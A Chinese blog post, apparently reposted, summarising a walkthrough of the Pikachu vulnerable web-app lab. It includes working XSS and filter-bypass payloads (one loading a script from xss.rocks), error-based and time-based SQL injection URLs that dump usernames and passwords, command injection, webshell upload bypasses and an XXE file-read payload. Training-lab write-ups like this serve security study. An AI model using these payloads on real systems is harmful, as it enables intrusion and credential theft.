pikachu_通关速记

五一假期,因为自己太懒了不想出门,就记录一下自己的打靶经历

密码爆破

1.1表单爆破

Burpsuite抓包直接爆

1.2验证码绕过(on server)

验证码在服务端只验证一次,那么手动输入验证码后再次爆

1.3验证码绕过(on client)

验证码只在客户端进行验证,并不会发送到服务端,所以抓包的时候直接把验证码去掉再爆

1.4绕过token防护

这里我就得向服务器获取到token值,然后递归和字典一起爆

获取到的第一个token值,需要手动粘贴填一下,另外重定向哪里也需要设成一直

XSS注入

反射型(get)

直接再url中写入payload

<script>alert('1')</script>

反射型(post)

在搜素框中写入payload,点击时触发

<h onclick=alert('1')>1<h>

存储型

留言板中留个图片,不加源,同样是点击触发

<img  src="" onclick=alert('1')>

DOM型

直接单引号闭合跃出,加上点击触发

' onclick="alert('xss')">

DOM_XSS-X

同理

盲打

不管3721,尝试就对了

绕过滤

第一种,大小写

<ScRipt>alert(1)</ScRIpT>

第二种,双重尖括号双倍快乐

<<SCRIPT>alert("XSS");//<</SCRIPT>

第三种,没有标签绕过
某些浏览器中不需要加入常规XSSpayload中的”>”部分.例如firefox会为你非常体贴的安全闭合HTML标签,并且加入闭合标签!

<SCRIPT SRC=http://xss.rocks/xss.js?< B >


其他绕过方式

/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>x3csVg/<sVg/oNloAd=alert()//>x3e

htmlspecialchars实体转换

使用Javascript伪协议

javascript:alert(document.domain)

href输出

同样可以使用伪协议输出

javascript:alert(document.domain)

js输出

闭合,输出

CSRF跨站伪造请求

GET型

直接存在于URL中,实现起来很简单

post型

POST注入稍微麻烦一点需要先截包,然后使用burpsuite生成一个表单,挂在服务器里,让受害者点击

token

SQL注入

数字型注入

布尔判断寻找注入点

直接order by,猜出字段数

查找显示位

查看数据库版本和当前库名

根据得到的库名得到pikachu中所有表名

查找users表中的所有字段信息

然后直接查找pikachu库中users表的username和password信息

同理可以查找数据库root用户的密码

解密

字符型注入

单引号判断注入点

闭合单引号

判断字段数

使用updatexml报错注入得到pikachu库下的表名

http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查询

拿到users表的字段信息

http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查询

拿users表的具体内容

http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查询

搜索型注入

可以发现单引号出现报错,注释掉后回显正常,那么就可以选择联合注入或者是报错注入,这里就不占篇幅了

不知名类型注入

可以看见他构造的闭合有点奇怪,是'),有的情况下还有双引号、中括号等奇葩方式,但是只要找到注入点就基本结束了,注入方法参考上面的联合和报错

insert、update、delete注入

加入万能的单引号

再次使用报错

延时注入(布尔注入与延时同理不做演示)

payload如下

http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
?name=lili' and sleep(20
)--+


宽字节注入

带入%82复活单引号


接下来就简单了,和上面一样

命令执行

远程命令执行

例如在执行ping命令后加管道符(或&&)执行systeminfo获取系统详细信息,

远程代码执行

例如输入phpinfo();

文件包含

本地文件包含

一般配合目录遍历使用,例如读取服务器的hosts文件

远程文件包含

远端服务器准备
docker快速开一个lnmp服务

root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5

包含远端文件

文件下载

目录遍历下载个记事本

文件上传

客户端检查

将webshell上传时改成图片格式,截包后改成php格式

服务端检查

不用改成图片格式,直接上传webshell,截包将Content-Type声明为 image/png

webshell连接

图像内容检查

这里使用了getimagesize() 函数获取图像大小及文件头是否是真实的图片,所以需要将webshell写入真实的图片来绕过检查

webshell连接
这里的shell是放在图片里的,所以需要让nginx错误的解析图片释放webshell

越权

水平越权

直接替换用户查询即可

垂直越权

admin登陆后进入添加用户复制URL退出登陆,登陆pikachu进入admin的管理界面添加一个用户lisi

目录遍历

敏感信息泄露

直接F12查看代码

PHP反序列化

XML注入

payload

<?xml version = "1.0"?><!DOCTYPE ANY [

    <!ENTITY f SYSTEM "file:///C://Windows//win.ini">

]><x>&f;</x>

URL重定向

SSRF

curl_exec()函数

file_get_contents()函数

原文地址:https://www.cnblogs.com/hxlinux/p/14693933.html